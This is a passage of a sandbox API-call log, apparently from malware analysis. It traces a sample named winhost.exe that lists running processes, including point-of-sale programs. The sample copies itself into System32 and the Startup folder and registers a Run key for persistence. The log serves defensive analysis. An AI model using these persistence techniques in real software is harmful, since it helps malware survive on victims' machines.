th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0145.760] lstrlenW (lpString="creditservice.exe") returned 17 [0145.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0145.760] lstrlenW (lpString="edcsvr.exe") returned 10 [0145.760] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0145.761] lstrlenW (lpString="fpos.exe") returned 8 [0145.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0145.761] lstrlenW (lpString="isspos.exe") returned 10 [0145.761] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0145.762] lstrlenW (lpString="mxslipstream.exe") returned 16 [0145.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0145.762] lstrlenW (lpString="omnipos.exe") returned 11 [0145.762] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0145.763] lstrlenW (lpString="spcwin.exe") returned 10 [0145.763] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0145.763] lstrlenW (lpString="spgagentservice.exe") returned 19 [0145.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0145.764] lstrlenW (lpString="utg2.exe") returned 8 [0145.764] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0145.764] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0145.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.765] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.765] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.766] lstrlenW (lpString="svchost.exe") returned 11 [0145.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.766] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.766] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0145.767] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0145.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.767] lstrlenW (lpString="conhost.exe") returned 11 [0145.767] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0145.768] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0145.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.768] lstrlenW (lpString="conhost.exe") returned 11 [0145.768] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0145.769] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0145.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0145.769] lstrlenW (lpString="powershell.exe") returned 14 [0145.769] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.770] lstrlenW (lpString="conhost.exe") returned 11 [0145.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0145.770] lstrlenW (lpString="TiWorker.exe") returned 12 [0145.770] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0145.771] lstrlenW (lpString="sppsvc.exe") returned 10 [0145.771] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0145.771] lstrlenW (lpString="powershell.exe") returned 14 [0145.771] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.772] lstrlenW (lpString="conhost.exe") returned 11 [0145.772] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.772] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.772] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0145.773] lstrlenW (lpString="NS2.exe") returned 7 [0145.773] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0145.773] lstrlenW (lpString="conhost.exe") returned 11 [0145.773] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.773] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.774] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.810] lstrlenW (lpString="dllhost.exe") returned 11 [0145.810] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0145.810] lstrlenW (lpString="winhost.exe") returned 11 [0145.810] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0145.811] CloseHandle (hObject=0x240) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7da8 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7c88 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5600 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5640 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6c88 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4620 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c53a0 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c54e0 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eed10 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c55c0 | out: hHeap=0x6b0000) returned 1 [0145.811] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eed38 | out: hHeap=0x6b0000) returned 1 [0145.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x6f64f0 [0145.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x7064f8 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44a0 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44a0, Size=0x20) returned 0x6ee900 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ee900, Size=0x40) returned 0x6c7ad8 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4650 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4650, Size=0x20) returned 0x6eea90 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4428 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4428, Size=0x20) returned 0x6ee8b0 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4518 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4518, Size=0x20) returned 0x6eea40 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eea40, Size=0x40) returned 0x6c7da8 [0145.812] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7064f8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe")) returned 0x23 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x716500 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x726508 [0145.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4650 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4650, Size=0x20) returned 0x6eeab8 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeab8, Size=0x40) returned 0x6c7970 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7970, Size=0x80) returned 0x736868 [0145.812] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x736868, Size=0x100) returned 0x6f4d30 [0145.812] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.813] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4d30 | out: hHeap=0x6b0000) returned 1 [0145.813] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x716500, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\winhost.exe") returned 0x20 [0145.813] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x726508 | out: hHeap=0x6b0000) returned 1 [0145.813] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716500 | out: hHeap=0x6b0000) returned 1 [0145.813] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x23d0020 [0145.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46c8 [0145.815] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6eebf8 [0145.815] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46e0 [0145.815] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46e0, Size=0x20) returned 0x6ee9c8 [0145.815] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0145.815] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0145.815] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0145.815] lstrlenW (lpString="kernel32.dll") returned 12 [0145.815] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eebf8 | out: hHeap=0x6b0000) returned 1 [0145.815] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.815] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ee9c8 | out: hHeap=0x6b0000) returned 1 [0145.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0145.816] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0145.816] ReadFile (in: hFile=0x240, lpBuffer=0x23d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.824] WriteFile (in: hFile=0x244, lpBuffer=0x23d0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.826] ReadFile (in: hFile=0x240, lpBuffer=0x23d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d0020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0145.826] CloseHandle (hObject=0x244) returned 1 [0145.827] CloseHandle (hObject=0x240) returned 1 [0145.827] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4578 [0145.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4578, Size=0x20) returned 0x6eeba8 [0145.827] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f45c0 [0145.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f45c0, Size=0x20) returned 0x6eec20 [0145.827] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0145.827] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0145.827] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0145.827] lstrlenW (lpString="kernel32.dll") returned 12 [0145.827] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec20 | out: hHeap=0x6b0000) returned 1 [0145.827] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.827] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x6b0000) returned 1 [0145.827] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x23d0020 | out: hHeap=0x6b0000) returned 1 [0145.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44a0 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44a0, Size=0x20) returned 0x6eea40 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eea40, Size=0x40) returned 0x6c7b68 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7b68, Size=0x80) returned 0x736a88 [0145.831] lstrlenW (lpString="C:\\WINDOWS\\System32\\winhost.exe") returned 31 [0145.831] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0145.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x5c) returned 0x6f51b0 [0145.831] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0145.831] RegSetValueExW (in: hKey=0x240, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\WINDOWS\\System32\\winhost.exe") returned 0x0 [0145.831] RegCloseKey (hKey=0x240) returned 0x0 [0145.831] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f51b0 | out: hHeap=0x6b0000) returned 1 [0145.831] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0145.831] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x736a88 | out: hHeap=0x6b0000) returned 1 [0145.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x716500 [0145.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x726508 [0145.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46c8 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6eeb08 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeb08, Size=0x40) returned 0x6c7d18 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7d18, Size=0x80) returned 0x736a88 [0145.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x736a88, Size=0x100) returned 0x6f4d30 [0145.831] lstrlenW (lpString="") returned 0 [0145.832] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.832] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8c) returned 0x6c7818 [0145.832] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0145.832] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x726508, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x726508*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0145.832] RegCloseKey (hKey=0x240) returned 0x0 [0145.832] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7818 | out: hHeap=0x6b0000) returned 1 [0145.832] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.832] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8c) returned 0x6c7818 [0145.832] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0145.832] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x726508, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0145.832] RegCloseKey (hKey=0x244) returned 0x0 [0145.832] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7818 | out: hHeap=0x6b0000) returned 1 [0145.832] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0145.832] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.832] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4d30 | out: hHeap=0x6b0000) returned 1 [0145.832] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x716500, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x5a [0145.832] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x726508 | out: hHeap=0x6b0000) returned 1 [0145.832] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716500 | out: hHeap=0x6b0000) returned 1 [0145.833] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x23d6020 [0145.835] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f45c0 [0145.835] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f45c0, Size=0x20) returned 0x6eec20 [0145.835] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4440 [0145.835] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4440, Size=0x20) returned 0x6ee900 [0145.835] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0145.835] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0145.835] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0145.835] lstrlenW (lpString="kernel32.dll") returned 12 [0145.835] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec20 | out: hHeap=0x6b0000) returned 1 [0145.835] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.835] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ee900 | out: hHeap=0x6b0000) returned 1 [0145.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0145.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, 